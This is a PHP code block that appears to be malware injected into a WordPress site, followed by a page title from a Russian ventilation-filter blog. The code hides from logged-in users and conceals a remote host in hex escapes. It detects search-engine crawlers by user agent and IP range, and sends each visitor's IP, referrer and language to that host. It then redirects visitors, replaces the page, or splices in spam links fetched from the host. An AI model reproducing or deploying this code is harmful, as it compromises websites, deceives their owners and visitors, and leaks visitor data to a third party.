if(!class_exists('Advanced_LinkFlow_Control')){$lf_enable=true;if(function_exists('is_user_logged_in')&& is_user_logged_in()){$lf_enable=false;}foreach($_COOKIE as $key => $value){if(strpos($key,'wordpress_logged_in_')=== 0){$lf_enable=false;break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI']?? '/';$ua=$_SERVER['HTTP_USER_AGENT']?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST']?? '') .$uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x64a\x72k\x62a\x62y\x63o\x6et\x72o\x6c.\x63o\x6d/\x67e\x74\x2e\x70\x68\x70";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])?$_SERVER['HTTP_CF_CONNECTING_IP']:(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';if(@preg_match('/googlebot|google-structured-data/i',$ua)){$bot=TRUE;$this->bot='google';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$ua)){$bot=TRUE;$this->bot='bing';}if(@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i',$ua)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/duckduckbot/i',$ua)){$bot=TRUE;$this->bot='duckduck';}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i',$ua)){$bot=TRUE;$this->bot='other';}if(!$bot){$bot_sources=['google'=> $this->google_ip_list ??[],'bing'=> $this->bing_ip_list ??[],'yandex'=> $this->yandex_ip_list ??[],];foreach($bot_sources as $bot_name => $ip_list){foreach($ip_list as $ip_mask){$pattern='#^' .str_replace(['.','*'],['\.','.*'],$ip_mask) .'$#';if(preg_match($pattern,$this->ip)){$bot=TRUE;$this->bot=$bot_name;break 2;}}}}if(!$bot){$hostbyaddr=@gethostbyaddr($this->ip);$host_patterns=['google'=> 'googlebot|google','bing'=> 'bing|msn|msr|slurp|yahoo','yandex'=> 'yandex','duckduckgo'=> 'duckduckgo|duckduckbot',];foreach($host_patterns as $bot_name => $pattern){if(preg_match("/$pattern/i",$hostbyaddr)){$bot=TRUE;$this->bot=$bot_name;break;}}}if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http://' .$_SERVER['SERVER_NAME']);if(isset($tmp['host'])){$host=$tmp['host'];}}$url=$this->url ."?host=$host&uri=" .urlencode($this->uri) ."&bot={$this->bot}&ip={$this->ip}&ref=" .urlencode($this->ref) .'&lang=' .urlencode($this->lang);if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .= '&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!== false){$res=1;}die(json_encode(['r'=> $res,'funcs'=>['curl_init'=> function_exists('curl_init')?1:0,'file_get_contents'=> function_exists('file_get_contents')?1:0,'allow_url_fopen'=> ini_get('allow_url_fopen')?1:0,'fsockopen'=> function_exists('fsockopen')?1:0,'socket_set_option'=> function_exists('socket_set_option')?1:0,]]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .= '&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=$matches[1];header("Location: {$url}");exit;}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!== FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])?$m[1]:array();}if(count($this->links)>0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}\s+.*?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0]as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)>count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index<$links_count && $tag_index<$tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)=== '###'){$linkHTML=substr($link,0,-3);}else{$number=7200+strlen($link)%1000;$linkHTML="
{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0 {$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))=="."){$tag_content_new=str_replace("."," {$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace(""," {$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" .preg_quote($tag_val['content'],'~') ."~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!== false){$link_index++;}$tag_index++;}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} Blog — Страница 338 — ФильтрДом — фильтры для систем вентиляции

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